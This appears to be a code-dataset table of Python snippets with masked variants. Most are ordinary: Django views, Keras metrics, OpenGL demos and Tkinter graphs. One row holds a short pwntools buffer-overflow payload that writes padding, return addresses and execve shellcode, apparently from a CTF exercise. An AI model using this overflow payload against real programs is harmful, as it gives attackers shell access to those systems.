code
stringlengths
13
6.09M
order_type
stringclasses
2 values
original_example
dict
step_ids
listlengths
1
5
from django.shortcuts import render from .forms import TeacherForm,Teacher from django.http import HttpResponse def add_teacher(request): if request.method=="POST": form=TeacherForm(request.POST) if form.is_valid(): form.save() return redirect("list_teachers") else: return HttpResponse("in...
normal
{ "blob_id": "cf97c87400649dd15e5d006707f9adfbd0c91b2c", "index": 4118, "step-1": "<mask token>\n\n\ndef teacher_detail(request, pk):\n teacher = Teacher.objects.get(pk=pk)\n return render(request, 'teacher_detail.html', {'teacher': teacher})\n\n\ndef edit_teacher(request, pk):\n teacher = Teacher.object...
[ 2, 3, 4, 5, 6 ]
#import getCanditatemap() from E_18_hacksub import operator, pdb, collections, string ETAOIN = """ etaoinsrhldcumgyfpwb.,vk0-'x)(1j2:q"/5!?z346879%[]*=+|_;\>$#^&@<~{}`""" #order taken from https://mdickens.me/typing/theory-of-letter-frequency.html, with space added at the start, 69 characters overall length = 128 #ETA...
normal
{ "blob_id": "63a9060e9933cc37b7039833be5f071cc7bf45bf", "index": 7873, "step-1": "<mask token>\n\n\ndef getLettercount(mess):\n charcount = getCanditatemap()\n for char in mess:\n if char in charcount:\n charcount[char] += 1\n return charcount\n\n\n<mask token>\n\n\ndef englishFreqMatc...
[ 2, 3, 5, 6, 7 ]
# @Time : 2019/6/2 8:42 # @Author : Xu Huipeng # @Blog : https://brycexxx.github.io/ class Solution: def isPalindrome(self, x: int) -> bool: num_str = str(x) i, j = 0, len(num_str) - 1 while i < j: if num_str[i] == num_str[j]: i += 1 j -= 1...
normal
{ "blob_id": "40f57ccb1e36d307b11e367a2fb2f6c97051c65b", "index": 6759, "step-1": "class Solution:\n\n def isPalindrome(self, x: int) ->bool:\n num_str = str(x)\n i, j = 0, len(num_str) - 1\n while i < j:\n if num_str[i] == num_str[j]:\n i += 1\n j ...
[ 3, 4, 5, 6, 7 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> files = ['data0Tue_Dec_30_20_37_34_2014.txt', 'data0Tue_Dec_30_20_37_49_2014.txt', 'data0Tue_Dec_30_20_38_04_2014.txt', 'data0Tue_Dec_30_20_38_19_2014.txt', 'data0Tue_Dec_30_20_38_34_2014.txt', 'data0Tue_Dec_30_20_38_49_2014.txt', 'dat...
flexible
{ "blob_id": "b63221af86748241fdce34052819569a06d37afe", "index": 6965, "step-1": "<mask token>\n", "step-2": "files = ['data0Tue_Dec_30_20_37_34_2014.txt',\n 'data0Tue_Dec_30_20_37_49_2014.txt',\n 'data0Tue_Dec_30_20_38_04_2014.txt',\n 'data0Tue_Dec_30_20_38_19_2014.txt',\n 'data0Tue_Dec_30_20_38_3...
[ 0, 1, 2 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> r.sendline('A' * 76 + p32(134516736 - 4) + p32(134513676) + p32(134516736)) r.sendline(shellcode) r.interactive() <|reserved_special_token_1|> <|reserved_special_token_0|> shellcode = p32(134516736 + 4) + asm('mov eax,SYS_execv...
flexible
{ "blob_id": "cf70d6064fd4a43bc17cd852aaf04afade73d995", "index": 9252, "step-1": "<mask token>\n", "step-2": "<mask token>\nr.sendline('A' * 76 + p32(134516736 - 4) + p32(134513676) + p32(134516736))\nr.sendline(shellcode)\nr.interactive()\n", "step-3": "<mask token>\nshellcode = p32(134516736 + 4) + asm('mo...
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> class Solution(object): <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Solution(object): def exist(self, board, word): """ :type board: List[List[str]] :type word: str :rtype: bool """ ...
flexible
{ "blob_id": "9b8db3407313a3e39d429b7c10897fc447fcdc27", "index": 1337, "step-1": "<mask token>\n\n\nclass Solution(object):\n <mask token>\n", "step-2": "<mask token>\n\n\nclass Solution(object):\n\n def exist(self, board, word):\n \"\"\"\n :type board: List[List[str]]\n :type word: ...
[ 1, 2, 3, 4, 5 ]
# -*- coding: utf-8 -*- from django.db import models from django.contrib.auth.models import User from django import forms from django.utils.translation import ugettext_lazy as _ from django.contrib.auth.models import User TYPE_ENT = ( ( 'ROOT' , 'ROOT' ), ( 'TIERS', 'TIERS'), ) class EntiteClass(models.Mode...
normal
{ "blob_id": "a094207b2cd9a5a4bd409ac8a644268f3808e346", "index": 7023, "step-1": "<mask token>\n\n\nclass UserProfile(models.Model):\n <mask token>\n <mask token>\n\n def __unicode__(self):\n return '%s : %s' % (self.user, self.tiers)\n\n @property\n def list_name(self):\n t = Entite...
[ 3, 4, 6, 9, 10 ]
from unittest import TestCase # auto-test toggled test class to monitor changes to is_palindrome function class Test_is_palindrome(TestCase): def test_is_palindrome(self): from identify_a_palindrome import is_palindrome self.assertTrue(is_palindrome("Asdfdsa")) self.assertTrue(is_palindrome...
normal
{ "blob_id": "785b54dce76d6906df513a8bde0110ab6fd63357", "index": 7083, "step-1": "<mask token>\n\n\nclass Test_is_palindrome(TestCase):\n <mask token>\n <mask token>\n <mask token>\n", "step-2": "<mask token>\n\n\nclass Test_is_palindrome(TestCase):\n\n def test_is_palindrome(self):\n from i...
[ 1, 3, 4, 5, 6 ]
#%% import numpy import time import scipy import os os.chdir('/home/bbales2/modal') import pyximport import seaborn pyximport.install(reload_support = True) import polybasisqu reload(polybasisqu) #from rotations import symmetry #from rotations import quaternion #from rotations import inv_rotations # basis polynomial...
normal
{ "blob_id": "87df5481cf2dd5bb990a9b4bd5169d9293d6af79", "index": 1144, "step-1": "#%%\nimport numpy\nimport time\nimport scipy\nimport os\nos.chdir('/home/bbales2/modal')\nimport pyximport\nimport seaborn\npyximport.install(reload_support = True)\n\nimport polybasisqu\nreload(polybasisqu)\n\n#from rotations impo...
[ 0 ]
from flask_wtf import FlaskForm from wtforms import StringField, SubmitField from wtforms.validators import DataRequired, Length from flask_ckeditor import CKEditorField class BoldifyEncryptForm(FlaskForm): boldMessage = StringField('Bolded Message: ', validators=[DataRequired()]) submit = SubmitField('Submit...
normal
{ "blob_id": "77b43d7d9cd6b912bcee471c564b47d7a7cdd552", "index": 6227, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass BoldifyEncryptForm(FlaskForm):\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass BoldifyEncryptForm(FlaskForm):\n boldMessage = StringField('Bolded...
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> def power_func(x, y, a=1, b=0): return a * x ** y + b <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def power_func(x, y, a=1, b=0): return a * x ** y + b <|reserved_special_token_0|> print(new_func(4, b=1)) print(new_func(1)) <|r...
flexible
{ "blob_id": "c9f1768e2f2dd47d637c2e577067eb6cd163e972", "index": 8331, "step-1": "<mask token>\n\n\ndef power_func(x, y, a=1, b=0):\n return a * x ** y + b\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef power_func(x, y, a=1, b=0):\n return a * x ** y + b\n\n\n<mask token>\nprint(new_func(4, b=1))...
[ 1, 2, 3, 4 ]
<|reserved_special_token_0|> class LayerBase(object): def __init__(self, units_count, activation_func): self.current_layer_dim = units_count self.activation_func = activation_func self.weights = None self.bias = None self.pre_activation = None self.activation_layer...
flexible
{ "blob_id": "389ccddcbe2214ae5c012bc82a404a81942792d8", "index": 1770, "step-1": "<mask token>\n\n\nclass LayerBase(object):\n\n def __init__(self, units_count, activation_func):\n self.current_layer_dim = units_count\n self.activation_func = activation_func\n self.weights = None\n ...
[ 4, 7, 9, 10, 12 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> urlpatterns = patterns('commtrack_reports.views', ('^commtrackreports$', 'reports'), ('^sampling_points$', 'sampling_points'), ( '^commtrack_testers$', 'testers'), ('^date_range$', 'date_range'), ( '^create_report$', '...
flexible
{ "blob_id": "6d244b719200ae2a9c1a738e746e8c401f8ba4e2", "index": 3342, "step-1": "<mask token>\n", "step-2": "<mask token>\nurlpatterns = patterns('commtrack_reports.views', ('^commtrackreports$',\n 'reports'), ('^sampling_points$', 'sampling_points'), (\n '^commtrack_testers$', 'testers'), ('^date_range...
[ 0, 1, 2, 3 ]
import os import struct import sys import wave sys.path.insert(0, os.path.dirname(__file__)) C5 = 523 B4b = 466 G4 = 392 E5 = 659 F5 = 698 VOLUME = 12000 notes = [ [VOLUME, C5], [VOLUME, C5], [VOLUME, B4b], [VOLUME, C5], [0, C5], [VOLUME, G4], [0, C5], [VOLUME, G4], [VOLUME, C5], ...
normal
{ "blob_id": "4fb563985bd99599e88676e167ee84a95b018aba", "index": 5414, "step-1": "<mask token>\n", "step-2": "<mask token>\nsys.path.insert(0, os.path.dirname(__file__))\n<mask token>\nfor volume, frequency in notes:\n samples = square_wave(int(44100 / frequency // 2))\n samples = gain(samples, volume)\n...
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def Run(datasetFile): userFile = open(datasetFile, 'r') instanceList = [] instanceCount = 0 featureCount = 0 for instance in userFile: tempStr = instance instanceCount += 1 for entry i...
flexible
{ "blob_id": "ee7efea569b685ad8d6922e403421227e9ea6922", "index": 6277, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef Run(datasetFile):\n userFile = open(datasetFile, 'r')\n instanceList = []\n instanceCount = 0\n featureCount = 0\n for instance in userFile:\n tempStr = inst...
[ 0, 1, 2, 3 ]
# Copyright (C) 2014 Abhay Vardhan. All Rights Reserved. """ Author: abhay.vardhan@gmail.com We have not yet added tests which exercise the HTTP GET directly. """ __author__ = 'abhay' from nose.tools import * import test_data import search_index class TestClass: def setUp(self): search_index.buildIndex(tes...
normal
{ "blob_id": "a9c0251b3422457b2c0089b70308a70b09cfa0e0", "index": 7276, "step-1": "<mask token>\n\n\nclass TestClass:\n\n def setUp(self):\n search_index.buildIndex(test_data.sample_food_trucks_data)\n\n def tearDown(self):\n pass\n\n def test_case_query_index(self):\n assert_equals(...
[ 11, 13, 14, 18, 19 ]
from DataStructures.BST.util import * def storeInorder(root, inorder): if root is None: return storeInorder(root.left, inorder) inorder.append(root.data) storeInorder(root.right, inorder) def arrayToBST(arr, root): # Base Case if root is None: return # First update the ...
normal
{ "blob_id": "d2af2b25a1ba2db93c977a13fe0273919bc2e6e0", "index": 7768, "step-1": "<mask token>\n\n\ndef storeInorder(root, inorder):\n if root is None:\n return\n storeInorder(root.left, inorder)\n inorder.append(root.data)\n storeInorder(root.right, inorder)\n\n\n<mask token>\n", "step-2": ...
[ 1, 3, 4, 5, 6 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Migration(migrations.Migration): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Migration(migrations.Migration): dependencies = [m...
flexible
{ "blob_id": "f2c53efa4b7c2df592582e3093ff269b703be1e0", "index": 3054, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [migrations.sw...
[ 0, 1, 2, 3, 4 ]
# 文字列(結合) str1 = "py" str2 = "thon" print(str1+str2)
normal
{ "blob_id": "d95cbca8e892f18f099b370e139176770ce0c1b7", "index": 8270, "step-1": "<mask token>\n", "step-2": "<mask token>\nprint(str1 + str2)\n", "step-3": "str1 = 'py'\nstr2 = 'thon'\nprint(str1 + str2)\n", "step-4": "# 文字列(結合)\n\nstr1 = \"py\"\nstr2 = \"thon\"\nprint(str1+str2)\n", "step-5": null, "...
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> for xml_path in glob.glob('./input/**/*.xml', recursive=True): current, image = read_alto_for_training(xml_path) images[image] = current for key in current: data[key].extend(current[key]) <|reserved_special_tok...
flexible
{ "blob_id": "41e642c4acb212470577ef43908a1dcf2e0f5730", "index": 7159, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor xml_path in glob.glob('./input/**/*.xml', recursive=True):\n current, image = read_alto_for_training(xml_path)\n images[image] = current\n for key in current:\n data[k...
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> GPIO.setmode(GPIO.BCM) GPIO.setwarnings(False) GPIO.setup(s1, GPIO.IN) GPIO.setup(s2, GPIO.IN) <|reserved_special_token_0|> while 1: if GPIO.input(s1) == False: data1 = 1 counter += 1 else: data1 = ...
flexible
{ "blob_id": "e1cc4e17bffcbbae3e7785e4c55acde167a8a50a", "index": 6482, "step-1": "<mask token>\n", "step-2": "<mask token>\nGPIO.setmode(GPIO.BCM)\nGPIO.setwarnings(False)\nGPIO.setup(s1, GPIO.IN)\nGPIO.setup(s2, GPIO.IN)\n<mask token>\nwhile 1:\n if GPIO.input(s1) == False:\n data1 = 1\n coun...
[ 0, 1, 2, 3, 4 ]
import hlp import pdb class Nnt(list): """ Generic layer of neural network """ def __init__(self): """ Initialize the neural network base object. """ self.tag = None def y(self, x): """ build sybolic expression of output {y} given input {x} t...
normal
{ "blob_id": "fb53ea6a7184c0b06fb8a4cbfaf2145cc5c2e8e2", "index": 9468, "step-1": "<mask token>\n\n\nclass Nnt(list):\n <mask token>\n\n def __init__(self):\n \"\"\"\n Initialize the neural network base object.\n \"\"\"\n self.tag = None\n\n def y(self, x):\n \"\"\"\n ...
[ 5, 6, 7, 8, 9 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> for i in k: if n % i == 0: f = 1 print('YES') break if f == 0: print('NO') <|reserved_special_token_1|> n = int(input()) k = [4, 7, 47, 74, 44, 77, 444, 447, 474, 477, 777, 774, 747, 7444] f = 0 ...
flexible
{ "blob_id": "6161653fb789040d084e475e0ae25921e2e0676b", "index": 2496, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor i in k:\n if n % i == 0:\n f = 1\n print('YES')\n break\nif f == 0:\n print('NO')\n", "step-3": "n = int(input())\nk = [4, 7, 47, 74, 44, 77, 444, 447, 47...
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> for x in range(0, 10, 3): print('★', end=' ') print() print('------------------------') for y in range(0, 10): for x in range(0, 10): print('★', end=' ') print() <|reserved_special_token_1|> # 3번 반복하고 싶은 경우 # 별 10개를 한줄로 for x in ran...
flexible
{ "blob_id": "b360ba7412bd10e2818511cee81302d407f88fd1", "index": 1895, "step-1": "<mask token>\n", "step-2": "for x in range(0, 10, 3):\n print('★', end=' ')\nprint()\nprint('------------------------')\nfor y in range(0, 10):\n for x in range(0, 10):\n print('★', end=' ')\n print()\n", "step-...
[ 0, 1, 2 ]
from utils import * import copy import torch.nn as nn CUDA = torch.cuda.is_available() def train_one_epoch(data_loader, net, loss_fn, optimizer): net.train() tl = Averager() pred_train = [] act_train = [] for i, (x_batch, y_batch) in enumerate(data_loader): if CUDA: ...
normal
{ "blob_id": "6ef78e4308f6e693f50df714a5d7af1785e49d7a", "index": 7682, "step-1": "<mask token>\n\n\ndef set_up(args):\n set_gpu(args.gpu)\n ensure_path(args.save_path)\n torch.manual_seed(args.random_seed)\n torch.backends.cudnn.deterministic = True\n\n\n<mask token>\n\n\ndef test(args, data, label, ...
[ 2, 4, 6, 7, 8 ]
import math import datetime as dt import cv2 import os from face import Face class Video: def __init__(self, vidSource, variableList=[], showWindow=True): self.vidcap = cv2.VideoCapture(vidSource) self.cascade = cv2.CascadeClassifier("face_cascade2.xml") self.visibleFaceList = [] # contains all Face objects wi...
normal
{ "blob_id": "7af0566161c909457d40d3856434f1fb1e800aab", "index": 1445, "step-1": "import math\nimport datetime as dt\nimport cv2\nimport os\nfrom face import Face\n\nclass Video:\n\tdef __init__(self, vidSource, variableList=[], showWindow=True):\n\t\tself.vidcap = cv2.VideoCapture(vidSource)\n\t\tself.cascade =...
[ 0 ]
<|reserved_special_token_0|> def false_pos(y_true, y_pred): smooth = 1 y_pred_pos = K.round(K.clip(y_pred, 0, 1)) y_pos = K.round(K.clip(y_true, 0, 1)) y_neg = 1 - y_pos fp = K.sum(y_neg * y_pred_pos) fp_ratio = (fp + smooth) / (K.sum(y_neg) + smooth) return fp_ratio <|reserved_special_t...
flexible
{ "blob_id": "18b10a68b2707b7bfeccbd31c5d15686453b3406", "index": 6253, "step-1": "<mask token>\n\n\ndef false_pos(y_true, y_pred):\n smooth = 1\n y_pred_pos = K.round(K.clip(y_pred, 0, 1))\n y_pos = K.round(K.clip(y_true, 0, 1))\n y_neg = 1 - y_pos\n fp = K.sum(y_neg * y_pred_pos)\n fp_ratio = ...
[ 1, 3, 4, 5, 6 ]
from django.shortcuts import render from rest_framework import status from rest_framework.views import APIView from rest_framework.response import Response from polls.models import Poll from .serializers import PollSerializer # class PollView(APIView): # # def get(self, request): # serializer = PollSeri...
normal
{ "blob_id": "866ff68744a16158b7917ca6defc35440208ae71", "index": 8575, "step-1": "<mask token>\n\n\ndef index(request):\n data = {}\n return render(request, 'polls/index.html', data)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef index(request):\n data = {}\n return render(request, 'polls/i...
[ 1, 2, 3, 4, 5 ]
import pytest from django.utils.crypto import get_random_string from django.utils.timezone import now from respa_exchange import listener from respa_exchange.ews.xml import M, NAMESPACES, T from respa_exchange.models import ExchangeResource from respa_exchange.tests.session import SoapSeller class SubscriptionHandle...
normal
{ "blob_id": "e4bfa0a55fe0dbb547bc5f65554ef96be654ec7a", "index": 2176, "step-1": "<mask token>\n\n\nclass SubscriptionHandler(object):\n <mask token>\n <mask token>\n\n def handle_subscribe(self, request):\n if not request.xpath('//m:StreamingSubscriptionRequest', namespaces\n =NAMESPA...
[ 4, 7, 8, 9, 10 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class ExperimentList(ListView): pass <|reserved_special_token_1|> from django.views.generic import ListView class ExperimentList(ListView): pass
flexible
{ "blob_id": "10990282c8aa0b9b26a69e451132ff37257acbc6", "index": 3331, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass ExperimentList(ListView):\n pass\n", "step-3": "from django.views.generic import ListView\n\n\nclass ExperimentList(ListView):\n pass\n", "step-4": null, "step-5": n...
[ 0, 1, 2 ]
<|reserved_special_token_0|> def predict_babelnet(input_path: str, output_path: str, resources_path: str ) ->None: global mfs_counter """ DO NOT MODIFY THE SIGNATURE! This is the skeleton of the prediction function. The predict function will build your model, load the weights from the checkpoi...
flexible
{ "blob_id": "e3631a2a003f98fbf05c45a019250e76d3366949", "index": 2582, "step-1": "<mask token>\n\n\ndef predict_babelnet(input_path: str, output_path: str, resources_path: str\n ) ->None:\n global mfs_counter\n \"\"\"\n DO NOT MODIFY THE SIGNATURE!\n This is the skeleton of the prediction function...
[ 7, 9, 11, 12, 15 ]
#!/usr/bin/env python # Copyright (C) 2014 Open Data ("Open Data" refers to # one or more of the following companies: Open Data Partners LLC, # Open Data Research LLC, or Open Data Capital LLC.) # # This file is part of Hadrian. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this...
normal
{ "blob_id": "780dc49c3eaef3fb25ca0aac760326b1c3adc633", "index": 6002, "step-1": "<mask token>\n\n\nclass Dot(LibFcn):\n name = prefix + 'dot'\n sig = Sigs([Sig([{'x': P.Array(P.Array(P.Double()))}, {'y': P.Array(P.\n Double())}], P.Array(P.Double())), Sig([{'x': P.Map(P.Map(P.Double(\n )))},...
[ 26, 42, 47, 53, 59 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Migration(migrations.Migration): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Migration(migrations.Migration): dependencies = [(...
flexible
{ "blob_id": "cf2c57dbb2c1160321bcd6de98691db48634d5d6", "index": 5388, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('users', '00...
[ 0, 1, 2, 3, 4 ]
# Stubs for torch.nn.utils (Python 3) # # NOTE: This dynamically typed stub was automatically generated by stubgen. from .clip_grad import clip_grad_norm, clip_grad_norm_, clip_grad_value_ from .convert_parameters import parameters_to_vector, vector_to_parameters from .spectral_norm import remove_spectral_norm, spectr...
normal
{ "blob_id": "5d9ace3b6c5b4e24fc3b20b5e5640f2fcdb252bb", "index": 9292, "step-1": "<mask token>\n", "step-2": "from .clip_grad import clip_grad_norm, clip_grad_norm_, clip_grad_value_\nfrom .convert_parameters import parameters_to_vector, vector_to_parameters\nfrom .spectral_norm import remove_spectral_norm, sp...
[ 0, 1, 2 ]
#!/usr/bin/env python from ROOT import TFileMerger import subprocess def MergeFiles(output, fileList, skipList=[], acceptList=[], n=20): merger = TFileMerger(False) merger.OutputFile(output); merger.SetMaxOpenedFiles(n); print "Total number of files is {0}".format(len(fileList)) for fileName...
normal
{ "blob_id": "95f7710fb0137617025819b6240312ce02915328", "index": 173, "step-1": "#!/usr/bin/env python\n\nfrom ROOT import TFileMerger\nimport subprocess\n\ndef MergeFiles(output, fileList, skipList=[], acceptList=[], n=20):\n merger = TFileMerger(False)\n merger.OutputFile(output);\n merger.SetMaxOpene...
[ 0 ]
from setuptools import setup import sys if not sys.version_info >= (3, 6, 0): msg = 'Unsupported version %s' % sys.version raise Exception(msg) def get_version(filename): import ast version = None with open(filename) as f: for line in f: if line.startswith('__version__'): ...
normal
{ "blob_id": "d3b55863c6e3a1b6cbdcec37db81ee42b769938d", "index": 9039, "step-1": "<mask token>\n\n\ndef get_version(filename):\n import ast\n version = None\n with open(filename) as f:\n for line in f:\n if line.startswith('__version__'):\n version = ast.parse(line).body...
[ 1, 2, 3, 4, 5 ]
import erequests from pyarc.base import RestException class ResultWrapper(object): def __init__(self, client, method, url): self.client = client self.method = method self.url = url self.response = None def get(self): if self.response is None: self.client.wa...
normal
{ "blob_id": "4d1157b307d753abea721b93779ccc989c77d8e3", "index": 6876, "step-1": "import erequests\nfrom pyarc.base import RestException\n\n\nclass ResultWrapper(object):\n def __init__(self, client, method, url):\n self.client = client\n self.method = method\n self.url = url\n sel...
[ 0 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> def has23(nums): this = nums[0] == 2 or nums[0] == 3 that = nums[1] == 2 or nums[1] == 3 return this or that
flexible
{ "blob_id": "174c4c1ed7f2197e012644999cf23f5e82f4b7c3", "index": 3148, "step-1": "<mask token>\n", "step-2": "def has23(nums):\n this = nums[0] == 2 or nums[0] == 3\n that = nums[1] == 2 or nums[1] == 3\n return this or that\n", "step-3": null, "step-4": null, "step-5": null, "step-ids": [ ...
[ 0, 1 ]
# -*- coding: utf-8 -*- """ Created on Sat May 2 21:31:37 2020 @author: Emmanuel Torres Molina """ """ Ejercicio 10 del TP2 de Teoría de los Circuitos II: Un tono de 45 KHz y 200 mV de amplitud es distorsionada por un tono de 12 KHz y 2V de amplitud. Diseñar un filtro pasa altos que atenúe la señal inter...
normal
{ "blob_id": "dd59f3b1d8b17defe4e7f30fec594d01475319d2", "index": 6211, "step-1": "<mask token>\n", "step-2": "<mask token>\nplt.close('all')\n<mask token>\naxs[0].plot(t, s_t)\naxs[0].grid('True')\naxs[0].set_title('Señal Original')\naxs[0].set_ylim(-0.2, 0.2)\naxs[0].set_ylabel('[V]')\naxs[1].plot(t, r_t)\nax...
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def zbits(n, k): zeros = '0' * k ones = '1' * (n - k) binary = ones + zeros string = {''.join(i) for i in itertools.permutations(binary, n)} return string <|reserved_special_token_0|> <|reserved_special_t...
flexible
{ "blob_id": "a8d13c3fbf6051eba392bcdd6dcb3e946696585f", "index": 9065, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef zbits(n, k):\n zeros = '0' * k\n ones = '1' * (n - k)\n binary = ones + zeros\n string = {''.join(i) for i in itertools.permutations(binary, n)}\n return string\n\n...
[ 0, 1, 2, 3, 4 ]
#!/bin/python3 import sys def fibonacciModified(t1, t2, n): ti = t1 ti_1 = t2 for i in range (2, n): ti_2 = ti + ti_1**2 ti = ti_1 ti_1 = ti_2 return ti_2 if __name__ == "__main__": t1, t2, n = input().strip().split(' ') t1, t2, n = [int(t1), int(t2), int(n)] resul...
normal
{ "blob_id": "3838df627318b25767738da912f44e494cef40f3", "index": 6833, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef fibonacciModified(t1, t2, n):\n ti = t1\n ti_1 = t2\n for i in range(2, n):\n ti_2 = ti + ti_1 ** 2\n ti = ti_1\n ti_1 = ti_2\n return ti_2\n\n\n<...
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> def connectedCell(matrix, n, m): visit = [] for j in range(n): a = [] for i in range(m): a.append(True) visit.append(a) path = 0 for i in range(n): for j in range(m): if visit[i][j]: count = 0 ...
flexible
{ "blob_id": "25a159ca2abf0176135086324ab355d6f5d9fe9e", "index": 5054, "step-1": "<mask token>\n\n\ndef connectedCell(matrix, n, m):\n visit = []\n for j in range(n):\n a = []\n for i in range(m):\n a.append(True)\n visit.append(a)\n path = 0\n for i in range(n):\n ...
[ 1, 2, 3, 4, 5 ]
import time import numpy as np from OpenGL.GLUT import * from OpenGL.GLU import * from OpenGL.GL import * from utils import * g = 9.8 t_start = 0 def init(): glClearColor(1.0, 1.0, 1.0, 1.0) glClear(GL_COLOR_BUFFER_BIT) glColor3f(1.0, 0.0, 0.0) glPointSize(2) gluOrtho2D(0.0, 500.0, 0.0, 500.0) ...
normal
{ "blob_id": "d85c0929b22f57367c0e707bac78e56027113417", "index": 4539, "step-1": "<mask token>\n\n\ndef init():\n glClearColor(1.0, 1.0, 1.0, 1.0)\n glClear(GL_COLOR_BUFFER_BIT)\n glColor3f(1.0, 0.0, 0.0)\n glPointSize(2)\n gluOrtho2D(0.0, 500.0, 0.0, 500.0)\n\n\n<mask token>\n\n\ndef mouse(btn, s...
[ 4, 6, 7, 8, 9 ]
#!/usr/bin/env python3 '''Testing File''' import tensorflow.keras as K def test_model( network, data, labels, verbose=True ): '''A Function that tests a neural network''' return network.evaluate( x=data, y=labels, verbose=verbose )
normal
{ "blob_id": "39643454cbef9e6fa7979d0f660f54e07d155bc7", "index": 7690, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef test_model(network, data, labels, verbose=True):\n \"\"\"A Function that tests\n a neural network\"\"\"\n return network.evaluate(x=data, y=labels, verbose=verbose)\n", ...
[ 0, 1, 2, 3 ]
''' Converts luptitudes to maggies and stores in folder output Written by P. Gallardo ''' import numpy as np import pandas as pd import sys assert len(sys.argv) == 2 # usage: lups2maggies.py /path/to/cat.csv fname = sys.argv[1] print("Converting maggies from catalog \n%s" % fname) df = pd.read_csv(fname) z = d...
normal
{ "blob_id": "e8971b3d183ded99a5fc03f031ef807280b8cc7f", "index": 1744, "step-1": "<mask token>\n", "step-2": "<mask token>\nassert len(sys.argv) == 2\n<mask token>\nprint(\"\"\"Converting maggies from catalog \n%s\"\"\" % fname)\n<mask token>\nnp.savetxt('./output/maggies.txt', to_exp)\n", "step-3": "<mask t...
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> class Error(Exception): pass class Warning(Exception): pass def gettimestr(): rtc = machine.RTC() curtime = rtc.datetime() _time = '%04d' % curtime[0] + '%02d' % curtime[1] + '%02d' % curtime[2 ] + ' ' + '%02d' % curtime[4] + '%02d' % curtime[5] return ...
flexible
{ "blob_id": "b934770e9e57a0ead124e245f394433ce853dec9", "index": 8691, "step-1": "<mask token>\n\n\nclass Error(Exception):\n pass\n\n\nclass Warning(Exception):\n pass\n\n\ndef gettimestr():\n rtc = machine.RTC()\n curtime = rtc.datetime()\n _time = '%04d' % curtime[0] + '%02d' % curtime[1] + '%0...
[ 4, 5, 6, 8, 9 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Migration(migrations.Migration): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Migration(migrations.Migration): dependencies = [(...
flexible
{ "blob_id": "781cb59fb9b6d22547fd4acf895457868342e125", "index": 8290, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('votes', '00...
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> while True: driver.get( 'https://www.google.co.in/maps/@18.9967228,73.118955,21z/data=!5m1!1e1?hl=en&authuser=0' ) start = 'C://Users//Pathak//Downloads//chromedriver_win32' df = str(counter) gh = s...
flexible
{ "blob_id": "30e7fc169eceb3d8cc1a4fa6bb65d81a4403f2c7", "index": 5800, "step-1": "<mask token>\n", "step-2": "<mask token>\nwhile True:\n driver.get(\n 'https://www.google.co.in/maps/@18.9967228,73.118955,21z/data=!5m1!1e1?hl=en&authuser=0'\n )\n start = 'C://Users//Pathak//Downloads//chrom...
[ 0, 1, 2, 3, 4 ]
#!/usr/bin/python from Tkinter import * root = Tk() root.title("Simple Graph") root.resizable(0,0) points = [] spline = 0 tag1 = "theline" def point(event): c.create_oval(event.x, event.y, event.x+1, event.y+1, fill="black", width="10.0") points.append(event.x) points.append(event.y) print(event.x) print(ev...
normal
